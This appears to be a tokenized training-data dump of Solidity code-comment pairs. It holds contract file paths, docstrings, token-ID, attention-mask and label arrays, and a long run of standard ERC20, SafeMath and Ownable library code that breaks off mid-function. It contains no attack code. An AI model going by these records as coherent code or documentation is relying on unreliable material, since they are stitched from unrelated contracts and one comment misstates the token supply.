[ 1, 22170, 18708, 882, 18264, 423, 2192, 1360, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 10025, 7616, 24, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/56/0x4cC0295a30C3c2eA5b0a76ac4BF75a7CFb423fA8/sources/TestyToken.sol
* @notice Delegates votes from signatory to `delegatee` @param delegatee The address to delegate votes to @param nonce The contract state required to match the signature @param expiry The time at which to expire the signature @param v The recovery byte of the signature @param r Half of the ECDSA signature pair @param s Half of the ECDSA signature pair/
function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "TSTI::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "TSTI::delegateBySig: invalid nonce"); require(now <= expiry, "TSTI::delegateBySig: signature expired"); return _delegate(signatory, delegatee); }
11,056,023
[ 1, 15608, 815, 19588, 628, 1573, 8452, 358, 1375, 22216, 73, 68, 225, 7152, 73, 1021, 1758, 358, 7152, 19588, 358, 225, 7448, 1021, 6835, 919, 1931, 358, 845, 326, 3372, 225, 10839, 1021, 813, 622, 1492, 358, 6930, 326, 3372, 225, 331, 1021, 11044, 1160, 434, 326, 3372, 225, 436, 670, 6186, 434, 326, 7773, 19748, 3372, 3082, 225, 272, 670, 6186, 434, 326, 7773, 19748, 3372, 3082, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7152, 858, 8267, 12, 203, 3639, 1758, 7152, 73, 16, 203, 3639, 2254, 7448, 16, 203, 3639, 2254, 10839, 16, 203, 3639, 2254, 28, 331, 16, 203, 3639, 1731, 1578, 436, 16, 203, 3639, 1731, 1578, 272, 203, 565, 262, 203, 3639, 3903, 203, 565, 288, 203, 3639, 1731, 1578, 2461, 6581, 273, 417, 24410, 581, 5034, 12, 203, 5411, 24126, 18, 3015, 12, 203, 7734, 27025, 67, 2399, 15920, 16, 203, 7734, 417, 24410, 581, 5034, 12, 3890, 12, 529, 10756, 3631, 203, 7734, 30170, 548, 9334, 203, 7734, 1758, 12, 2211, 13, 203, 5411, 262, 203, 3639, 11272, 203, 203, 3639, 1731, 1578, 1958, 2310, 273, 417, 24410, 581, 5034, 12, 203, 5411, 24126, 18, 3015, 12, 203, 7734, 2030, 19384, 2689, 67, 2399, 15920, 16, 203, 7734, 7152, 73, 16, 203, 7734, 7448, 16, 203, 7734, 10839, 203, 5411, 262, 203, 3639, 11272, 203, 203, 3639, 1731, 1578, 5403, 273, 417, 24410, 581, 5034, 12, 203, 5411, 24126, 18, 3015, 4420, 329, 12, 203, 7734, 1548, 92, 3657, 64, 92, 1611, 3113, 203, 7734, 2461, 6581, 16, 203, 7734, 1958, 2310, 203, 5411, 262, 203, 3639, 11272, 203, 203, 3639, 1758, 1573, 8452, 273, 425, 1793, 3165, 12, 10171, 16, 331, 16, 436, 16, 272, 1769, 203, 3639, 2583, 12, 2977, 8452, 480, 1758, 12, 20, 3631, 315, 56, 882, 45, 2866, 22216, 858, 8267, 30, 2057, 3372, 8863, 203, 3639, 2583, 12, 12824, 422, 1661, 764, 63, 2977, 8452, 3737, 15, 16, 315, 56, 882, 45, 2866, 22216, 2 ]
./full_match/4/0x99753b9D8D5CB197f863472113C29871Bf24A584/sources/Users/thanh/fork-uniswap/nouniswap/contracts/GEN.sol
15000000 million Comp
uint public constant totalSupply = 15000000e18;
13,299,417
[ 1, 3600, 9449, 312, 737, 285, 5427, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 1071, 5381, 2078, 3088, 1283, 273, 4711, 9449, 73, 2643, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.6.12; // SPDX-License-Identifier: MIT /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) 